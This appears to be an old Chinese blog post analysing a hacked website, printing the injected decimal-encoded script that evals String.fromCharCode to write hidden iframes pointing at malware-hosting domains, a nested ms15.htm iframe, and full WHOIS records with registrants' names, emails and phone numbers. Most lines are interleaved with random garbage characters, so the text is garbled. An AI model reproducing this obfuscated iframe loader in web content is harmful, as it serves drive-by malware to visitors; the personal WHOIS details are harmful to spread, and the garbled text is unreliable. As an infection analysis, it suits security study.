首发在我的博客里面，
Po+.&7F EgEa1l!NSQ http://www.areway.cn/?p=175 >%_ \;svZG ]6,\ r" Qab>|e Sm 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
L]|gZ&^ Xz 6<lLb <script>t=’60,105,102,114,97,109,101,
^cC,.Fdw 32,115,114,99,61,104,116,116,112,58,47,47,
@-07F,'W, 102,114,101,101,46,117,45,117,117,117,46,99,
.|KyNBn 110,47,101,114,114,111,114,46,104,116,109,
7DogM".}~Q 32,119,105,100,116,104,61,49,48,48,32,104,
G<z wv3 101,105,103,104,116,61,48,62,60,47,105,102,
LG9+GszX 2 114,97,109,101,62′;
f 3l&3h C t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
Uk wP 5:[0z5Hww <script>t=’60,105,102,114,97,109,101,32,115,
-a}Dp~j 114,99,61,104,116,116,112,58,47,47,102,114,
PA{PD.4Du 101,101,46,117,45,117,117,117,46,99,110,47,
[-1^-bb 101,114,114,111,114,46,104,116,109,32,119,
4&lv6`G ` 105,100,116,104,61,49,48,48,32,104,101,105,
gT{Q#C2Baw 103,104,116,61,48,62,60,47,105,102,114,97,
& GO}|W 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
#b}Z`u?@ document.write(t);</script>
];$L &5^ >0y'Rgfe <html xmlns=”
h]&GLb&<? http://www.w3.org/1999/xhtml :wyno#8`- “>
bn&TF3b <head>
"m$##X\ <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
IZ-1c1
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
J 9nX"Sb <title>首页 - 爱生活家庭网
PCee<W_%YE / y40(l? 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
\[i1JG 转换字符串后的大概内容是（谁点击后果自付）：
9
RgVK{F <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
6dr% ;Wp PcMD])Z{G 查询玉米u-uuu.cn的详细信息：
y3Q sv Domain Name: u-uuu.cn
ha<[b u e ROID: 20070901s10001s64972306-cn
1Faf$J~7| Domain Status: ok
QD&`^(X1p Registrant Organization: 王雷
u(.e8~s8 Registrant Name: 王雷
B2vh-%6 3 Administrative Email:
czlovexs@126.com z=\&i\>;Z+ Sponsoring Registrar: 北京万网志成科技有限公司
j?\Qh Name Server:ns.yovole.com
vkV0On Name Server:ns1.yovole.com
a 7 V-C Registration Date: 2007-09-01 17:54
*!t/"b Expiration Date: 2008-09-01 17:54
CJx|? yK2 最后PING了一下地址 都没有什么….
; u
({\K ,.8KN<A2]' 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
vzAa x k% <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
qH >d <script language=”javascript” src=”
oUlY?x1 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script @ CL{D:d >
Y;M|D'y+ 这个玉米应该有可能是木马作者的：
1z4OI6$Af foafau.info的详细信息：
BsDn5\ q Access to INFO WHOIS information is provided to assist persons in
# $07:UJ determining the contents of a domain name registration record in the
B)g[3gQ Afilias registry database. The data in this record is provided by
h
0Q5-EA Afilias Limited for informational purposes only, and Afilias does not
!dnH 7 " guarantee its accuracy. This service is intended only for query-based
OU_gdp access. You agree that you will use this data only for lawful purposes
M#6W(|V/ and that, under no circumstances will you use this data to: (a) allow,
7hcYD!DS enable, or otherwise support the transmission by e-mail, telephone, or
<oV(7 facsimile of mass unsolicited, commercial advertising or solicitations
;?i W%:_, to entities other than the data recipient’s own existing customers; or
%3 -y[f (b) enable high volume, automated, electronic processes that send
,AFu C < queries or data to the systems of Registry Operator, a Registrar, or
zrgk]n;Pq Afilias except as reasonably necessary to register domain names or
N/2 T[s_& modify existing registrations. All rights reserved. Afilias reserves
dt]-,Y
the right to modify these terms at any time. By submitting this query,
b94DJzL1z you agree to abide by this policy.
%)W2H^
Domain ID:D22418703-LRMS
skViMo Domain Name:FOAFAU.INFO
_S1>j7RQo Created On:20-Nov-2007 16:05:42 UTC
;bib/ Last Updated On:20-Nov-2007 16:05:44 UTC
BC.87Fji/ Expiration Date:20-Nov-2008 16:05:42 UTC
Om\vMd@! Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
mR:uj2* Status:CLIENT DELETE PROHIBITED
(m/G(wg Status:CLIENT RENEW PROHIBITED
J=I:CD% Status:CLIENT TRANSFER PROHIBITED
#OD/$f_ Status:CLIENT UPDATE PROHIBITED
Jhhb7uU+ Status:TRANSFER PROHIBITED
1};Stai'
Registrant ID:GODA-040110615
AJ`h9 %B Registrant Name:liu hong
mSF (q78? Registrant Organization:
pJ"qu, w Registrant Street1:beijing
ChPmX+.i_ Registrant Street2:
[D4SW# Registrant Street3:
E
KLyma&}Y Registrant City:beijing
u0c1:Uv#~e Registrant State/Province:
'8H4shYg Registrant Postal Code:100000
9IfmW^0 Registrant Country:CN
/]Md~=yNp Registrant Phone:+86.860108888777
| rtD.,m Registrant Phone Ext.:
Vaw+.sG`AP Registrant FAX:
P* BmHz4KL Registrant FAX Ext.:
k)=s> &hl Registrant Email:bbbshiji@163.com
K;H&n1 Admin ID:GODA-240110615
R "t,xM Admin Name:liu hong
1 bU,$4 Admin Organization:
!``,gExH Admin Street1:beijing
c]o'xd,T8\ Admin Street2:
7# Kn8s
Admin Street3:
oY3;. ;'bk Admin City:beijing
> jLY" Admin State/Province:
{ROVvs` Admin Postal Code:100000
i3mcx)d@H Admin Country:CN
%pL''R9VF Admin Phone:+86.860108888777
:J&oX
<nF^ Admin Phone Ext.:
.|fH y Admin FAX:
"JV_ 2K_i Admin FAX Ext.:
[]1C$.5DD Admin Email:bbbshiji@163.com
rw JIx|( Billing ID:GODA-340110615
KRRdX x\~ Billing Name:liu hong
~H sJUro Billing Organization:
bJTBjS-7 Billing Street1:beijing
3bH'H*2 Billing Street2:
K
Z91- Billing Street3:
?NsW|w_ Billing City:beijing
d/kv|$XW Billing State/Province:
%l[( Iw Billing Postal Code:100000
xfe+n$~ c Billing Country:CN
U!\.]jfS Billing Phone:+86.860108888777
e6$W Qd`O Billing Phone Ext.:
K is"L(C Billing FAX:
&}B|"s[ Billing FAX Ext.:
"@0]G<H
Billing Email:bbbshiji@163.com
m&&m,6``P Tech ID:GODA-140110615
ENs&RZ; Tech Name:liu hong
Lk}J8 V^2 Tech Organization:
7 ~.9=I'A Tech Street1:beijing
V {ddr:]4 Tech Street2:
u\;C;I-? ' Tech Street3:
3;]H 1
1 Tech City:beijing
8'io$ 6d= Tech State/Province:
h MD|#A-< Tech Postal Code:100000
c,+: i1IAy Tech Country:CN
'I6i ,+D/q Tech Phone:+86.860108888777
z<XtS[ki Tech Phone Ext.:
yl+gL?IES Tech FAX:
h
J)h\ Tech FAX Ext.:
y _k
l:Ssa Tech Email:bbbshiji@163.com
}Oq5tC@$G Name Server:NS27.DOMAINCONTROL.COM
vV-`jsq20H Name Server:NS28.DOMAINCONTROL.COM
w%jII{@, Name Server:
cI OlhX@ Name Server:
Z,Dl` w Name Server:
M!D3 }JRm Name Server:
hT+_(>hT Name Server:
VTY 5]|; Name Server:
<}9 lZEqY Name Server:
e=m42vIB- Name Server:
~U&AI1t+J Name Server:
d|Lj ~x| Name Server:
Cj lk Name Server:
~dTrf>R8M x7<K<k;s 接着下载每个文件里面的代码：
e8?jmN`2 一步一步看..
l}A93jSL 
M&9+6e'-F 
60?%<oJ oH 
tW}'g:s 
\xw5JGm 
+Q"4Migbe@ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
